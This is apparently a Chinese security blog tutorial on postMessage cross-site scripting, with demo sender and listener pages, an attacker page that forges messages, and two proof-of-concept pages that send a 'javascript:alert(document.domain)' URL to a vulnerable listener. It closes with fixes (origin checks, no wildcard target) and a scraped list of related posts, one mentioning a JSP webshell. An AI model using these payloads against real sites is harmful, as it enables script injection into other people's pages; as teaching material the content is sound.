PostMessage xss很有趣,在国外出现了很多次,国内src/众测从没遇到过,挖到过。可能境界还不够,有机会再去试试。好几年前记得心血来潮学过一次,都是半知半解,后来因为重要性不高,不了了之了,今天重新捡起来。

  PostMessage的含义:参考MDN:

    

Window.postmessage()方法可以安全地实现Window对象之间的跨源通信;例如,在页面和它派生的弹出窗口之间,或者在页面和其内嵌的iframe之间。

  简单点来说,我是这样理解的:发送相应数据到目标页面,目标页面接收传输的数据并进行处理。

  具体理论详情参考:https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

  废话不多说,先准备环境:一台闲置vps:

   搭建两个环境页面:

    demo1.html:代发送数据的页面:

      

<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('demo2.html', 'popup', 'height=300px, width=500px');
}
function sendMessage(){
//发送的数据内容
let msg={pName : "jack", pAge: "12"};
//发送消息数据数据到任意目标源, *指的是任意anyone
child.postMessage(msg,'*');
}
</script>
</head>
<body>
<form>
<fieldset>
<input type='button' id='btnopen' value='Open child' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
</fieldset>
</form>
</body>
</html>

demo2.html:代监听发送的数据,接收消息数据页面:

<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
//添加事件监控消息
window.addEventListener("message", (event)=>{
let txt=document.getElementById("msg");
//接收传输过来的变量数据
txt.value=`Name is ${event.data.pName} Age is ${event.data.pAge}` ; });
</script>
</head>
<body>
<form>
<h1>postMessage学习</h1>
<input type='text' id='msg'/>
</form>
</body>
</html>

  访问:http://119.45.227.86/postmessage/demo1.html

  

第二步:f12子窗口,找到监听代码:

  

然后选择主窗口,点击Send Messsage:

  查看子窗口,接收数据成功:

    

  这样我们就完成了一次:发送数据->接收数据的一个过程

  了解了基础的使用,下面是关于PostMessgae XSS的安全隐患:

  (1):数据伪造:

   因为发送数据中,使用的是*,并没有限制目标源,导致可以通过任意地址给http://119.45.227.86/postmessage/demo2.html发送数据:

   attacker.html:

<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/demo2.html'); function sendMessage(){
let msg={pName : "attacker", pAge: "16"};
childwin.postMessage(msg,'*')
} (function(){setTimeout("sendMessage()",1000);}());
</script>
</head>
</html>

      

直接本地localhost(模拟攻击者vps)访问:

  

发现通过攻击者vps成功修改了传输过去的数据,原来是

  

Name is jack Age is  12

 后被更改成:

  

Name is attacker Age is  16

  

 (2)接收处的处理不当导致的dom xss:

  测试环境:http://119.45.227.86/postmessage/xss.html

<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
window.addEventListener("message", (event)=>{
location.href=`${event.data.url}`;
});
</script>
</head>
</html>

   

location.href="数据",这里可控,可以url跳转,也可以xss 

  

    利用poc:

    

<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/xss.html'); function sendMessage(){
let msg={url:"javascript:alert(document.domain)"};
// In production, DO NOT use '*', use toe target domain
childwin.postMessage(msg,'*')// childwin is the targetWindow
} (function(){setTimeout("sendMessage()",1000);}());
</script>
</head>
</html>

   本地访问跳转即触发xss:    

  利用成功。利用poc2:

    

<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<iframe name="test" src="http://119.45.227.86/postmessage/xss.html" onload="xss()"></iframe>
</body>
<script type="text/javascript">
var iframe = window.frames.test function xss(){
let msg={"url":"javascript:alert(document.domain)"};
iframe.postMessage(msg,'*');
}
</script>
</html

  

  本地访问:

  直接打开即触发xss:

  

  修复缓解方案:

    http://119.45.227.86/postmessage/xss_renovate.html

    测试代码:

    

<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
window.addEventListener("message", (event)=>{
if (event.origin !== "http://119.45.227.86"){
return;
}
location.href=`${event.data.url}`;
});
</script>
</head>
<body> </body>
</html>

  限制目标源为指定:

    

<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/xss.html'); function sendMessage(){
let msg={url:"javascript:alert(document.domain)"};
childwin.postMessage(msg,'xss_renovate.html')
} (function(){setTimeout("sendMessage()",1000);}());
</script>
</head>
</html>

再次访问,没有弹窗xss了:

  1.限制发送目标,禁止使用*

  2.限制接收数据event.origin,使用指定信任域

    

  

PostMessage xss学习和挖掘的更多相关文章

  1. XSS学习(三)挖掘思路

    HTML标签之间 <div id="body"> [输出点] </div> payload:<script>alert(1)</scrip ...

  2. 第四次:渗透练习,xss学习

    xss学习 一.学习目的 初步了解xss攻击,不包括(DOM类型) 二.附加说明 1.xss介绍 https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/ ...

  3. 一次xss的黑盒挖掘和利用过程

    挖掘过程一: 自从上一次投稿,已经好久好久没写文章了.今天就着吃饭的时间,写篇文章,记录下自己学习xss这么久的心得.在我看来.Xss就是javascript注入,你可以在js语法规定的范畴内做任何事 ...

  4. XSS学习(未完..)

    前言 XSS 漏洞原理非常简单,实际应用中非常灵活,于是通过 prompt(1) to win 来学习学习 正文 工具 分析正则表达式 https://regex101.com/ http://xss ...

  5. xss学习教程

    XSS漏洞详细分析与讲解.rar xss黑白盒渗透测试.pdf xss基础钓鱼-shgcx.com.zip XSS利用教程-shgcx.com.zip xss盲打渗透网站.doc XSS挖掘.ppt  ...

  6. XSS学习笔记(四)-漏洞利用全过程

    <script type="text/javascript" reload="1">setTimeout("window.location ...

  7. XSS学习笔记(一个)-点击劫持

    所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...

  8. XSS学习笔记(五)-XSS防御

    如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...

  9. 【转载】XSS学习笔记

    XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...

随机推荐

  1. Java流程控制:选择结构

    一.选择结构 选择结构用于判断给定的条件,根据判断的结果来控制程序的流程. Java中选择结构的语法主要分为'if...else'语句和'switch...case'语句. Java中选择结构语句在语 ...

  2. Go的switch

    目录 go的switch 一.语法 二.默认情况 三.多表达式判断 四.无表达式 五.Fallthrough go的switch switch 是一个条件语句,用于多条件匹配,可以替换多个if els ...

  3. Java数组之选择排序

    选择排序 package com.kangkang.array; import java.util.Arrays; public class demo04 { public static void m ...

  4. C# 中 string.Empty、""、null的差别

    一.string.Empty 和 ""                                                           原文1   原文2 1. ...

  5. nc替代ping

    linux nc介绍: 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p< ...

  6. Python之内存泄漏和内存溢出

    预习知识:python之MRO和垃圾回收机制 一.内存泄漏 像Java程序一样,虽然Python本身也有垃圾回收的功能,但是同样也会产生内存泄漏的问题.对于一个用 python 实现的,长期运行的后台 ...

  7. 3.DataFrame的增删改查

    以此为例 一.DataFrame的初步认知 在pandas中完成数据读取后数据以DataFrame保存.在操作时要以DataFrame函数进行了解 函数 含义 示例 values 元素 index 索 ...

  8. Mardown语法

    1.什么是Markdown Mardown是一种文本标记语言,使用它,能让我们更加专注于内容的输出,而不是排版样式. 我们平常使用的.txt文档书写的文字是没有样式的,使用Markdown语法就可以给 ...

  9. 菜刀jsp小马

    逛google收获小马一枚,收藏一下 <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*&q ...

  10. .NET团队送给.NET开发人员的云原生学习资源

    企业正在迅速采用云的功能来满足用户需求,提高应用程序的可伸缩性和可用性.要完全拥抱云并优化节约成本,就需要在设计应用程序时考虑到云的环境,也就是要用云原生的应用开发方法.这意味着不仅要更改应用程序的构 ...